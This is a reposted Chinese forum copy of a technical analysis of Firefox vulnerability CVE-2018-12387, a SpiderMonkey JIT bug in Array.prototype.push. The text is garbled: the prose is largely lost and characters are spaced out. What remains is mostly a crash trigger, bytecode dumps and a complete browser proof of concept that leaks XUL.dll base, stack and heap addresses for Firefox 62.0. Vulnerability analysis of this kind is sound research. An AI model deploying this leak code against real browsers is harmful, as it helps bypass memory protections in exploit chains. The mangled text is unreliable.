[13375] 2018-11-04_Firefox信息泄漏漏洞的技术分析(CVE-2018-12387)

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2018-11-04_Firefox信息泄漏漏洞的技术分析(CVE-2018-12387) F i r e f o x C V E - 2 0 1 8 - 1 2 3 8 7 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 1 - 0 4 J a v a S c r i p t   J I T A r r a y . p r o t o t y p e . p u s h 使 使 F i r e f o x   6 2 . 0 . 3 F i r e f o x   E S R   6 0 . 2 . 2 C V E C V E - 2 0 1 8 - 1 2 3 8 7 B r u n o K e i t h N i k l a s B a u m s t a r k 便 B e y o n d   S e c u r i t y S e c u r i T e a m F i r e f o x   6 2 . 0 F i r e f o x   E S R   6 0 . 2 S p i d e r m o n k e y M o z i l l a J a v a S c r i p t C + + D e b u g   A s s e r t i o n
A s s e r t i o n J I T f J I T I R a r r a y p u s h t p u s h a r r a y p u s h { t , v } B a s e l i n e C o m p i l e r . c p p s y n c S t a c k ( 0 ) H a n d l e r p e e k ( ) J a v a S c r i p t f u n c t i o n f ( o )   {               v a r   a   =   [ o ] ;               a . l e n g t h   =   a [ 0 ] ;               v a r   u s e l e s s   =   f u n c t i o n   ( )   { }               v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a ,   4 2 , 4 3 ) ;               ( f u n c t i o n   ( )   {                             s z ;               } ) ( n e w   B o o l e a n ( f a l s e ) ) ; } f o r ( v a r   i   =   0 ;   i   <   2 5 0 0 0 ;   i + + )   {               f ( 1 ) ; } f ( 2 ) ; A s s e r t i o n   f a i l u r e :   i s O b j e c t ( )   a n d   c r a s h e s   i n   r e l e a s e B u i l d / / L o a d   l h s   i n   R 0 ,   r h s   i n   R 1 .   f r a m e . s y n c S t a c k ( 0 ) ;   m a s m . l o a d V a l u e ( f r a m e . a d d r e s s O f S t a c k V a l u e ( f r a m e . p e e k ( - 2 ) ) , R 0 ) ;   m a s m . l o a d V a l u e ( f r a m e . a d d r e s s O f S t a c k V a l u e ( f r a m e . p e e k ( - 1 ) ) , R 1 ) ;   / /   C a l l   I C .   I C S e t P r o p _ F a l l b a c k : : C o m p i l e r   c o m p i l e r ( c x ) ;   i f ( ! e m i t O p I C ( c o m p i l e r . g e t S t u b ( & s t u b S p a c e _ ) ) )           r e t u r n   f a l s e ;   / /   L e a v e   t h e   o b j e c t   o n   t h e   s t a c k .   f r a m e . p o p ( ) ;
H a n d l e r R 0 s t a c k [ t o p - 1 ]   =   o R 1 s t a c k [ t o p ]   =   y R 0 . a   =   R 1 s t a c k [ t o p ] . a   =   s t a c k [ t o p + 1 ] J S V a l u e 4 8 p u s h 8 5 f u n c a l l A r r a y . p r o t o t y p e . p u s h . c a l l 8 2 . 1 1 9 5 1 3 5 0 1 1 7 0 6 7 e - 3 1 0 0 x 2 7 0 4 4 d 5 6 5 2 3 5 d o u b l e x u l . d l l *   s e c u r i t e a m F B A l p h a _ h 4 c k F r e e B u f . C O M f u n c t i o n f ( )   {               v a r   y   =   { } ;               v a r   o   =   {                             a :   y               } ; } d i s ( f ) ;   / *   b y t e c o d e :   0 0 0 0 0 :   n e w o b j e c t   ( { } )   #   O B J   0 0 0 0 5 :   s e t l o c a l   0   #   O B J   0 0 0 0 9 :   p o p   #   0 0 0 1 0 :   n e w o b j e c t   ( { a : ( v o i d   0 ) } )   #   O B J   0 0 0 1 5 :   g e t l o c a l   0   #   O B J   y   0 0 0 1 9 :   i n i t p r o p   " a "   #   O B J   0 0 0 2 4 :   s e t l o c a l   1   #   O B J   0 0 0 2 8 :   p o p   #   0 0 0 2 9 :   r e t r v a l   #   * / v a r t e s t   =   {               a :   1 3 . 3 7 } ;   f u n c t i o n f ( o )   {               v a r   a   =   [ o ] ;               a . l e n g t h   =   a [ 0 ] ;               v a r   u s e l e s s   =   f u n c t i o n   ( )   { }               u s e l e s s   +   u s e l e s s ;               v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a , 1 3 3 7 ,   4 3 ) ;               ( f u n c t i o n   ( )   {                             s z               } ) ( ) ;               v a r   o   =   {                             a :   t e s t               } ; } d i s ( f ) ; f o r ( v a r   i   =   0 ;   i   <   2 5 0 0 0 ;   i + + )   {               f ( 1 ) ; } f ( 1 0 0 ) ; p r i n t ( t e s t . a ) ; / * b y t e c o d e : . . . 0 0 0 3 4 : l a m b d a   f u n c t i o n ( )   { }   #   F U N 0 0 0 3 9 : s e t l o c a l   1   #   F U N 0 0 0 4 3 : p o p   # 0 0 0 4 4 : g e t l o c a l   1   #   u s e l e s s 0 0 0 4 8 : g e t l o c a l   1   #   u s e l e s s   u s e l e s s 0 0 0 5 2 : a d d   #   ( u s e l e s s   +   u s e l e s s ) 0 0 0 5 3 : p o p   # 0 0 0 5 4 : g e t g n a m e   " A r r a y "   #   A r r a y 0 0 0 5 9 : g e t p r o p   " p r o t o t y p e "   #   A r r a y . p r o t o t y p e 0 0 0 6 4 : g e t p r o p   " p u s h "   #   A r r a y . p r o t o t y p e . p u s h 0 0 0 6 9 : d u p   #   A r r a y . p r o t o t y p e . p u s h   A r r a y . p r o t o t y p e . p u s h 0 0 0 7 0 : c a l l p r o p   " c a l l "   #   A r r a y . p r o t o t y p e . p u s h   A r r a y . p r o t o t y p e . p u s h . c a l l 0 0 0 7 5 : s w a p   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h 0 0 0 7 6 : g e t l o c a l   0   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a 0 0 0 8 0 : u i n t 1 6   1 3 3 7   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a   1 3 3 7 0 0 0 8 3 : i n t 8   4 3   #   A r r a y . p r o t o t y p e . p u s h . c a l l   A r r a y . p r o t o t y p e . p u s h   a   1 3 3 7   4 3 0 0 0 8 5 : f u n c a l l   3   #   A r r a y . p r o t o t y p e . p u s h . c a l l ( . . . ) . . . 0 0 1 0 4 : n e w o b j e c t   ( { a : ( v o i d   0 ) } )   #   O B J 0 0 1 0 9 : g e t g n a m e   " t e s t "   #   O B J   t e s t 0 0 1 1 4 : i n i t p r o p   " a "   #   O B J 0 0 1 1 9 : s e t a r g   0   #   O B J 0 0 1 2 2 : p o p   # 0 0 1 2 3 : r e t r v a l   # < s c r i p t >   v a r c o n v e r t   =   n e w   A r r a y B u f f e r ( 0 x 1 0 0 ) ; v a r u 3 2   =   n e w   U i n t 3 2 A r r a y ( c o n v e r t ) ; v a r f 6 4   =   n e w   F l o a t 6 4 A r r a y ( c o n v e r t ) ;   v a r B A S E   =   0 x 1 0 0 0 0 0 0 0 0 ;   f u n c t i o n i 2 f ( x )   {         u 3 2 [ 0 ]   =   x   %   B A S E ;         u 3 2 [ 1 ]   =   ( x   -   ( x   %   B A S E ) )   /   B A S E ;   / / /         r e t u r n   f 6 4 [ 0 ] ; }   f u n c t i o n f 2 i ( x )   {         f 6 4 [ 0 ]   =   x ;         r e t u r n   u 3 2 [ 0 ]   +   B A S E   *   u 3 2 [ 1 ] ; }   f u n c t i o n h e x ( x )   {         r e t u r n   ` 0 x $ { x . t o S t r i n g ( 1 6 ) } ` }   v a r t e s t   =   { a : 0 x 1 3 3 7 } ;   f u n c t i o n g e n ( m )   {         v a r   e x p r   =   ' 1 + ( ' . r e p e a t ( m )   +   ' { a : y } '   + ' ) ' . r e p e a t ( m ) ;           v a r   c o d e   =   `         f   =   f u n c t i o n ( o )   {                 v a r   y   =   t e s t ;                 v a r   a   =   [ o ] ;                 a . l e n g t h   =   a [ 0 ] ;                 v a r   u s e l e s s   =   f u n c t i o n ( )   {   }                 u s e l e s s   +   u s e l e s s   +   u s e l e s s   +   u s e l e s s   + u s e l e s s   +   u s e l e s s ;                 v a r   s z   =   A r r a y . p r o t o t y p e . p u s h . c a l l ( a , 1 3 3 7 ,   4 3 ) ;                 ( f u n c t i o n ( )   {   s z ;   } ) ( ) ;                 v a r   o   =   $ { e x p r } ;         }         ` ;         e v a l ( c o d e ) ; }   V E R S I O N =   ' 6 2 . 0 ' ;   f u n c t i o n e x p l o i t ( )   {         v a r   x u l   =   0 ;         v a r   s t a c k   =   0 ;         v a r   h e a p   =   0 ;           v a r   l e a k   =   [ ] ;         f o r   ( v a r   i   =   2 0 ;   i   > =   0 ;   - - i )   {                 g e n ( i ) ;                 f o r   ( v a r   j   =   0 ;   j   <   1 0 0 0 0 ;   j + + )   {                         f ( 1 ) ;                 }                 f ( 1 0 0 ) ;                   v a r   x   =   f 2 i ( t e s t . a ) ;                   l e a k . p u s h ( x ) ;         }           f u n c t i o n   x u l b a s e ( a d d r )   {                 i f   ( V E R S I O N   = =   ' 6 2 . 0 ' )   {                         v a r   o f f s e t s   =   [                                 0 x 9 2 f e 3 4 ,                                 0 x 3 b d 4 1 0 8 ,                         ] ;                 }   e l s e   {                         a l e r t ( ' U n k n o w n   v e r s i o n :   '   + V E R S I O N ) ;                         t h r o w   n u l l ;                 }                 v a r   r e s   =   0 ;                 o f f s e t s . f o r E a c h ( ( o f f s e t )   = >   {                         i f   ( o f f s e t   %   0 x 1 0 0 0   = =   a d d r   % 0 x 1 0 0 0 )   {                                 r e s   =   a d d r   -   o f f s e t ;                         }                 } ) ;                 r e t u r n   r e s ;         }           x u l   =   x u l b a s e ( l e a k [ 1 ] ) ;         s t a c k   =   l e a k [ 0 ] ;         h e a p   =   l e a k [ 3 ] ;           v a r   e l   =   d o c u m e n t . c r e a t e E l e m e n t ( ' p r e ' ) ;         e l . i n n e r T e x t   =   (                 " X U L . d l l   b a s e :   "   +   h e x ( x u l )   + " n "   +                 " S t a c k :   "   +   h e x ( s t a c k )   + " n "   +                 " H e a p :   "   +   h e x ( h e a p )   + " n "   +                 " n F u l l   l e a k : n "   + l e a k . m a p ( h e x ) . j o i n ( " n " ) )         d o c u m e n t . b o d y . a p p e n d C h i l d ( e l ) ; } < / s c r i p t >   < b u t t o n o n c l i c k = " e x p l o i t ( ) " > G o < / b u t t o n >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则